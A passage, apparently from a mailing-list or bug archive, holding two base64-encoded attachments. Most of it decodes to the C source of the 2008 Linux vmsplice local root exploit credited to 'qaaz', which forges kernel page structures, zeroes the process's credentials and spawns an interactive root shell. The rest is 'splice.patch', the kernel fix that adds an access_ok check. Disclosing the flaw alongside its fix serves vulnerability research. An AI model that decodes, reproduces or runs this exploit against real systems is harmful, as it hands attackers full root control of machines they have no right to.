ZXhpdF9jb2RlKQoJKTsKfQoKc3RhdGljX2lubGluZQp2b2lkICoJZ2V0X2N1cnJlbnQoKQp7Cgl1 bnNpZ25lZCBsb25nIGN1cnI7CglfX2FzbV9fIF9fdm9sYXRpbGVfXyAoCgkibW92cSAlJWdzOigw KSwgJTAiCgk6ICI9ciIgKGN1cnIpCgkpOwoJcmV0dXJuICh2b2lkICopIGN1cnI7Cn0KCiNlbHNl CiNlcnJvciAidW5zdXBwb3J0ZWQgYXJjaCIKI2VuZGlmCgojaWYgZGVmaW5lZCAoX3N5c2NhbGw0 KQojZGVmaW5lIF9fTlJfX3Ztc3BsaWNlCV9fTlJfdm1zcGxpY2UKX3N5c2NhbGw0KAoJbG9uZywg X3Ztc3BsaWNlLAoJaW50LCBmZCwKCXN0cnVjdCBpb3ZlYyAqLCBpb3YsCgl1bnNpZ25lZCBsb25n LCBucl9zZWdzLAoJdW5zaWduZWQgaW50LCBmbGFncykKCiNlbHNlCiNkZWZpbmUgX3Ztc3BsaWNl KGZkLGlvLG5yLGZsKQlzeXNjYWxsKF9fTlJfdm1zcGxpY2UsIChmZCksIChpbyksIChuciksIChm bCkpCiNlbmRpZgoKc3RhdGljIHVpbnQgdWlkLCBnaWQ7Cgp2b2lkCWtlcm5lbF9jb2RlKCkKewoJ aW50CWk7Cgl1aW50CSpwID0gZ2V0X2N1cnJlbnQoKTsKCglmb3IgKGkgPSAwOyBpIDwgMTAyNC0x MzsgaSsrKSB7CgkJaWYgKHBbMF0gPT0gdWlkICYmIHBbMV0gPT0gdWlkICYmCgkJICAgIHBbMl0g PT0gdWlkICYmIHBbM10gPT0gdWlkICYmCgkJICAgIHBbNF0gPT0gZ2lkICYmIHBbNV0gPT0gZ2lk ICYmCgkJICAgIHBbNl0gPT0gZ2lkICYmIHBbN10gPT0gZ2lkKSB7CgkJCXBbMF0gPSBwWzFdID0g cFsyXSA9IHBbM10gPSAwOwoJCQlwWzRdID0gcFs1XSA9IHBbNl0gPSBwWzddID0gMDsKCQkJcCA9 ICh1aW50ICopICgoY2hhciAqKShwICsgOCkgKyBzaXplb2Yodm9pZCAqKSk7CgkJCXBbMF0gPSBw WzFdID0gcFsyXSA9IH4wOwoJCQlicmVhazsKCQl9CgkJcCsrOwoJfQkKCglleGl0X2tlcm5lbCgp Owp9Cgp2b2lkCWV4aXRfY29kZSgpCnsKCWlmIChnZXR1aWQoKSAhPSAwKQoJCWRpZSgid3RmIiwg MCk7CgoJcHJpbnRmKCJbK10gcm9vdFxuIik7CglwdXRlbnYoIkhJU1RGSUxFPS9kZXYvbnVsbCIp OwoJZXhlY2woIi9iaW4vYmFzaCIsICJiYXNoIiwgIi1pIiwgTlVMTCk7CglkaWUoIi9iaW4vYmFz aCIsIGVycm5vKTsKfQoKaW50CW1haW4oaW50IGFyZ2MsIGNoYXIgKmFyZ3ZbXSkKewoJaW50CQlw aVsyXTsKCXNpemVfdAkJbWFwX3NpemU7CgljaGFyICoJCW1hcF9hZGRyOwoJc3RydWN0IGlvdmVj CWlvdjsKCXN0cnVjdCBwYWdlICoJcGFnZXNbNV07CgoJdWlkID0gZ2V0dWlkKCk7CglnaWQgPSBn ZXRnaWQoKTsKCXNldHJlc3VpZCh1aWQsIHVpZCwgdWlkKTsKCXNldHJlc2dpZChnaWQsIGdpZCwg Z2lkKTsKCglwcmludGYoIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXG4iKTsK CXByaW50ZigiIExpbnV4IHZtc3BsaWNlIExvY2FsIFJvb3QgRXhwbG9pdFxuIik7CglwcmludGYo IiBCeSBxYWF6XG4iKTsKCXByaW50ZigiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS1cbiIpOwoKCWlmICghdWlkIHx8ICFnaWQpCgkJZGllKCIhQCMkIiwgMCk7CgoJLyoqKioqLwoJ cGFnZXNbMF0gPSAqKHZvaWQgKiopICYoaW50WzJdKXswLFBBR0VfU0laRX07CglwYWdlc1sxXSA9 IHBhZ2VzWzBdICsgMTsKCgltYXBfc2l6ZSA9IFBBR0VfU0laRTsKCW1hcF9hZGRyID0gbW1hcChw YWdlc1swXSwgbWFwX3NpemUsIFBST1RfUkVBRCB8IFBST1RfV1JJVEUsCgkgICAgICAgICAgICAg ICAgTUFQX0ZJWEVEIHwgTUFQX1BSSVZBVEUgfCBNQVBfQU5PTllNT1VTLCAtMSwgMCk7CglpZiAo bWFwX2FkZHIgPT0gTUFQX0ZBSUxFRCkKCQlkaWUoIm1tYXAiLCBlcnJubyk7CgoJbWVtc2V0KG1h cF9hZGRyLCAwLCBtYXBfc2l6ZSk7CglwcmludGYoIlsrXSBtbWFwOiAweCVseCAuLiAweCVseFxu IiwgbWFwX2FkZHIsIG1hcF9hZGRyICsgbWFwX3NpemUpOwoJcHJpbnRmKCJbK10gcGFnZTogMHgl bHhcbiIsIHBhZ2VzWzBdKTsKCXByaW50ZigiWytdIHBhZ2U6IDB4JWx4XG4iLCBwYWdlc1sxXSk7 CgoJcGFnZXNbMF0tPmZsYWdzICAgID0gMSA8PCBQR19jb21wb3VuZDsKCXBhZ2VzWzBdLT5wcml2 YXRlICA9ICh1bnNpZ25lZCBsb25nKSBwYWdlc1swXTsKCXBhZ2VzWzBdLT5jb3VudCAgICA9IDE7 CglwYWdlc1sxXS0+bHJ1Lm5leHQgPSAobG9uZykga2VybmVsX2NvZGU7CgoJLyoqKioqLwoJcGFn ZXNbMl0gPSAqKHZvaWQgKiopIHBhZ2VzWzBdOwoJcGFnZXNbM10gPSBwYWdlc1syXSArIDE7CgoJ bWFwX3NpemUgPSBQQUdFX1NJWkU7CgltYXBfYWRkciA9IG1tYXAocGFnZXNbMl0sIG1hcF9zaXpl LCBQUk9UX1JFQUQgfCBQUk9UX1dSSVRFLAoJICAgICAgICAgICAgICAgIE1BUF9GSVhFRCB8IE1B UF9QUklWQVRFIHwgTUFQX0FOT05ZTU9VUywgLTEsIDApOwoJaWYgKG1hcF9hZGRyID09IE1BUF9G QUlMRUQpCgkJZGllKCJtbWFwIiwgZXJybm8pOwoKCW1lbXNldChtYXBfYWRkciwgMCwgbWFwX3Np emUpOwoJcHJpbnRmKCJbK10gbW1hcDogMHglbHggLi4gMHglbHhcbiIsIG1hcF9hZGRyLCBtYXBf YWRkciArIG1hcF9zaXplKTsKCXByaW50ZigiWytdIHBhZ2U6IDB4JWx4XG4iLCBwYWdlc1syXSk7 CglwcmludGYoIlsrXSBwYWdlOiAweCVseFxuIiwgcGFnZXNbM10pOwoKCXBhZ2VzWzJdLT5mbGFn cyAgICA9IDEgPDwgUEdfY29tcG91bmQ7CglwYWdlc1syXS0+cHJpdmF0ZSAgPSAodW5zaWduZWQg bG9uZykgcGFnZXNbMl07CglwYWdlc1syXS0+Y291bnQgICAgPSAxOwoJcGFnZXNbM10tPmxydS5u ZXh0ID0gKGxvbmcpIGtlcm5lbF9jb2RlOwoKCS8qKioqKi8KCXBhZ2VzWzRdID0gKih2b2lkICoq KSAmKGludFsyXSl7UEFHRV9TSVpFLDB9OwoJbWFwX3NpemUgPSBQQUdFX1NJWkU7CgltYXBfYWRk ciA9IG1tYXAocGFnZXNbNF0sIG1hcF9zaXplLCBQUk9UX1JFQUQgfCBQUk9UX1dSSVRFLAoJICAg ICAgICAgICAgICAgIE1BUF9GSVhFRCB8IE1BUF9QUklWQVRFIHwgTUFQX0FOT05ZTU9VUywgLTEs IDApOwoJaWYgKG1hcF9hZGRyID09IE1BUF9GQUlMRUQpCgkJZGllKCJtbWFwIiwgZXJybm8pOwoJ bWVtc2V0KG1hcF9hZGRyLCAwLCBtYXBfc2l6ZSk7CglwcmludGYoIlsrXSBtbWFwOiAweCVseCAu LiAweCVseFxuIiwgbWFwX2FkZHIsIG1hcF9hZGRyICsgbWFwX3NpemUpOwoJcHJpbnRmKCJbK10g cGFnZTogMHglbHhcbiIsIHBhZ2VzWzRdKTsKCgkvKioqKiovCgltYXBfc2l6ZSA9IChQSVBFX0JV RkZFUlMgKiAzICsgMikgKiBQQUdFX1NJWkU7CgltYXBfYWRkciA9IG1tYXAoTlVMTCwgbWFwX3Np emUsIFBST1RfUkVBRCB8IFBST1RfV1JJVEUsCgkgICAgICAgICAgICAgICAgTUFQX1BSSVZBVEUg fCBNQVBfQU5PTllNT1VTLCAtMSwgMCk7CglpZiAobWFwX2FkZHIgPT0gTUFQX0ZBSUxFRCkKCQlk aWUoIm1tYXAiLCBlcnJubyk7CgoJbWVtc2V0KG1hcF9hZGRyLCAwLCBtYXBfc2l6ZSk7Cglwcmlu dGYoIlsrXSBtbWFwOiAweCVseCAuLiAweCVseFxuIiwgbWFwX2FkZHIsIG1hcF9hZGRyICsgbWFw X3NpemUpOwoKCS8qKioqKi8KCW1hcF9zaXplIC09IDIgKiBQQUdFX1NJWkU7CglpZiAobXVubWFw KG1hcF9hZGRyICsgbWFwX3NpemUsIFBBR0VfU0laRSkgPCAwKQoJCWRpZSgibXVubWFwIiwgZXJy bm8pOwoKCS8qKioqKi8KCWlmIChwaXBlKHBpKSA8IDApIGRpZSgicGlwZSIsIGVycm5vKTsKCWNs b3NlKHBpWzBdKTsKCglpb3YuaW92X2Jhc2UgPSBtYXBfYWRkcjsKCWlvdi5pb3ZfbGVuICA9IFVM T05HX01BWDsKCglzaWduYWwoU0lHUElQRSwgZXhpdF9jb2RlKTsKCV92bXNwbGljZShwaVsxXSwg JmlvdiwgMSwgMCk7CglkaWUoInZtc3BsaWNlIiwgZXJybm8pOwoJcmV0dXJuIDA7Cn0K 143165 2008-02-10 21:59 0000 splice.patch splice.patch text/plain LS0tIGZzL3NwbGljZS5jLm9sZAkyMDA4LTAyLTEwIDE0OjQ3OjExLjAwMDAwMDAwMCAtMDcwMAor KysgZnMvc3BsaWNlLmMJMjAwOC0wMi0xMCAxNDo0Nzo1My4wMDAwMDAwMDAgLTA3MDAKQEAgLTEx ODIsNiArMTE4Miw5IEBACiAJCWlmICh1bmxpa2VseSghYmFzZSkpCiAJCQlicmVhazsKIAorCQlp ZiAodW5saWtlbHkoIWFjY2Vzc19vayhWRVJJRllfUkVBRCwgYmFzZSwgbGVuKSkpCisJCQlicmVh azsKKwogCQkvKgogCQkgKiBHZXQgdGhpcyBiYXNlIG9mZnNldCBhbmQgbnVtYmVyIG9mIHBhZ2Vz LCB0aGVuIG1hcAogCQkgKiBpbiB0aGUgdXNlciBwYWdlcy4K